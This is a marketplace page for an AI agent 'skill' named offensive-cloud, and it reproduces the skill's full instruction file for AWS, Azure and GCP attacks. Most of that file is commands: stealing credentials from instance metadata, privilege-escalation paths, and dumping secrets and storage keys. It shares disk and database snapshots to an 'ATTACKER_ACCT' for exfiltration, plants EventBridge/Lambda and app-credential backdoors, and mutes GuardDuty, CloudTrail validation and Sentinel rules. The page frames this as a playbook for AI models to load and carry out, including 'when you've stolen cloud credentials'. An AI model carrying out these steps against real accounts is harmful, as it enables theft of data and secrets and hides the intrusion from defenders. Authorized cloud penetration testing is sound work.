Offensive Cloud logo

Offensive Cloud

CommunityPopular
SnailSploit
offensive-cloud

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-cloud
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Cloud AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/cloud/offensive-cloud .claude/skills/offensive-cloud
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Cloud in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Cloud on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Cloud is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Cloud (AWS / Azure / GCP) — Offensive Testing Methodology

Quick Workflow

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

AWS

Identity Discovery

bash
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

bash
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

PathRequired PermissionOutcome
iam:PassRole + lambda:CreateFunctionPass any role to Lambda you createRun code as that role
iam:PassRole + ec2:RunInstancesPass any role to EC2 instanceIMDS → role creds
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersionEdit your own policySelf-elevate
iam:UpdateAssumeRolePolicyOn a privileged roleAdd yourself as principal
iam:CreateLoginProfile (on user without one)Set console passwordConsole access
iam:CreateAccessKey (on another user)Mint keys for someone elsePersistent access
sts:AssumeRole with sts:TagSession to ABAC roleIf role trusts session tagsTag-based escalation
cloudformation:CreateStack + permissive roleRun any service actionIndirect arbitrary perms
glue:UpdateDevEndpointInject SSH key into Glue endpointCode exec as Glue role
ssm:SendCommand to any instanceRCE on instances + their rolesLateral + escalation
bash
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

bash
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

bash
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

bash
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

Azure

Identity Discovery

bash
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

bash
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

PathRequired Role / PermissionOutcome
User Access Administrator on self/subGrant self OwnerSubscription Owner
App Registration ownerAdd cert/secret, mint app-only tokensApp's permissions
Virtual Machine Contributor + Reader on KVRun command on VM with MSI → KVSecrets
Custom role with */write on RBACEdit role assignmentsSelf-elevate
Logic App contributorEdit workflow → privileged actionIndirect any action
Automation Account contributorRunBook with Run-As accountRun as RunAs identity
AAD Application AdministratorAssign app to high-priv roleCloud admin via app
AAD Cloud Application AdministratorSame minus on-premCloud admin
AAD Directory Synchronization AccountDCSync via AAD ConnectAll on-prem hashes
Privileged Authentication AdministratorReset MFA / passwords for GlobalsGlobal Admin reset
bash
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

Data Targets

bash
# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

Persistence

bash
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

Detection Evasion

  • AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
  • Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
  • Defender for Cloud: alert suppression rules

GCP

Identity Discovery

bash
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

bash
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

PathRequired PermissionOutcome
iam.serviceAccountTokenCreator on SAMint tokens as SASA's perms
iam.serviceAccountUser + compute.instances.createPass SA to new VMRun as SA via IMDS
iam.serviceAccountKeyAdminCreate JSON key for any SAPersistent SA creds
cloudbuild.builds.createBuild runs as Cloud Build SA (often Editor)Editor on project
deploymentmanager.deployments.createRuns as DM SA (often Owner)Owner
cloudfunctions.functions.create + actAsPass any SA to functionRun as that SA
dataflow.jobs.create + actAsSame patternSA's perms
iam.roles.update (custom roles)Add permissions to a role you haveSelf-elevate
resourcemanager.projects.setIamPolicyGrant self any roleOwner
bash
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

Data Targets

bash
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

Cross-Project / Folder Pivot

bash
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

Cross-Cloud Patterns

CI/CD as the Pivot

Most cloud takeovers in 2024-2025 start with CI tokens:

  • GitHub Actions OIDC misconfigured → assume any AWS role with weak sub claim
  • GitLab CI pushed to wrong branch → gains prod role
  • Jenkins agent with cloud credentials in env

Test the OIDC trust policy claims carefully:

json
"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.

Secrets-in-Logs

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.

Container Registry Poisoning

ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.


Tooling Matrix

ToolAWSAzureGCPUse
ScoutSuitePosture audit
ProwlerCIS/PCI checks
PacuOffensive framework
CloudGoatVulnerable lab
BloodHound + AzureHoundGraph-based escalation
ROADtoolsAAD recon + offline analysis
MicroBurstPS-based offensive
StormspotterMS' own offensive enum
gcp_scannerToken-based recon
GCPBucketBruteGCS bucket discovery

Engagement Cheatsheet

[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

Key References

Frequently asked questions

What does the Offensive Cloud AI skill do?

Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL...

Why use Offensive Cloud on TypingMind?

Because you install it once and use it with any model. Offensive Cloud is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Cloud in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/cloud/offensive-cloud. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Cloud?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Cloud?

As many as you like. As long as a model supports skills, you can use Offensive Cloud with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Cloud AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇